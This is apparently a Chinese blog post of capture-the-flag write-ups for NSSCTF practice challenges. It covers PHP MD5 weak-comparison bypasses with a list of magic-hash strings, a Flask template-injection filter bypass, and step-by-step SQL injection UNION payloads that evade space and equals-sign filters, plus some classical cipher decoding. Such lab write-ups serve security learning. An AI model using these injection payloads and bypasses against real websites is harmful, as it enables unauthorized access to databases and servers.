NSSCTF刷题

web

[NSSCTF 2022 Spring Recruit]babyphp:

 <?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?> 

preg_match() 函数:用于进行正则表达式匹配,成功返回 1 ,否则返回 0 

intval ():获取变量的整数值

isset()函数:在php中用来判断变量是否声明,该函数返回布尔类型的值,即true/false。isset只能用于变量,传递任何其它参数都将造成解析错误。

is_string():用于检测变量是否是字符串

看代码发现有三个if条件需要绕过

第一个:

用post对a进行传参,参数不能包含0-9的数字且要是整型

 绕过preg_match()函数可以用数组绕过

显示go on,成功绕过

 第二个:

要求传入的b1不能等于b2且b1的MD5值和b2的MD5值相等,我们可以利用数组绕过,传入两个数组在比较时,数组的md5值都是false从而使两个数组的md5值相同

 回显yee,成功绕过第二层

第三个:

 利用科学计数法绕过,==弱类型比较会先把两种字符串类型转成相同的再进行比较,所以md5值为0e开头就会被转化为数字从而绕过

得到flag:NSSCTF{489002a1-b36a-4be3-aa2d-45fe26b47625}

可绕过md5弱比较的字符串及其md5值:

MMHUWUV    0e701732711630150438129209816536

MAUXXQC       0e478478466848439040434801845361

IHKFRNS          0e256160682445802696926137988570

GZECLQZ         0e537612333747236407713628225676

在php中有两种比较符号: 一种是 ==,另外一种是 ===,都是用来比较两个数值是否相等的操作符,但他们也是有区别的:

1、== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。
2、=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。
**当要比较的两种字符串的类型相同时,== 和 === 是相等的。

1、数字和“e"开头加上数字的字符串(例如"1e123”)会当作科学计数法去比较;
2、0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0;
3、当字符串被当作一个数值来处理时,如果该字符串没有包含’.’,‘e’,'E’并且其数值在整形的范围之内,该字符串作为int来取值,其他所有情况下都被作为float来取值,并且字符串开始部分决定它的取值,开始部分为数字,则其值就是开始的数字,否则,其值为0。

[NCTF 2018]flask真香

打开题目页面

到处点点看,有发现,页面内容和url一样

输入运算式发现能执行,存在ssti注入漏洞

 

测试一下,发现有过滤,被过滤的内容不会显示在页面上

 经过测试发现大约有这么些字符是被过滤的

class

mro

subclasses

builtins

eval

import

open

os

拼接进行绕过,执行命令,发现flag文件

 cat flag

 

[SWPUCTF 2021 新生赛]sql

打开题目,看到网页标题为 参数是wllm,传一个参看看

 1、测试一下闭合,是单引号闭合

 输入order by语句和其它语句都显示非法操作,猜测应该是有过滤,经过多次尝试确定应该是过滤了空格,我们用/**/绕过空格(%20  %a0也可以),%23是注释符#的url编码

  2、order  by语句测试有几列,3正常回显,4回显不正常,所以有3列

3、联合查询语句测试有几个回显点,注意将前面的参数值置换为空

?wllm=-1'/**/union/**/select/**/1,2,3%23

 4、查库名

wllm=-1'union/**/select/**/1,2,group_concat(schema_name)from/**/information_schema.schemata%23   发现页面回显有限制,mysql的group_concat函数查询结果默认长度1024,超过这个长度的结果将不显示。

查当前数据库

 5、查表,=被过滤了用like绕过,发现flag表

 6、查列

-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23

7、查字段,发现只能显示20位,我们用mid函数分段查询 

-1'union/**/select/**/1,2,mid(flag,21,40)/**/from/**/LTLT_flag%23

-1'union/**/select/**/1,2,mid(flag,41,60)/**/from/**/LTLT_flag%23

 得到flag    NSSCTF{a149f877-871e-4285-830c-bf613b5abfcd}

Crypto

什锦:

猪圈密码:

 brainfuck密码:

解密后是中文:但是猪猪好好吃诶

 社会主义核心价值观加密:

 

 

 得到flag:NSSCTF{c05485d678cb8a6beb401f31d762532a} 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值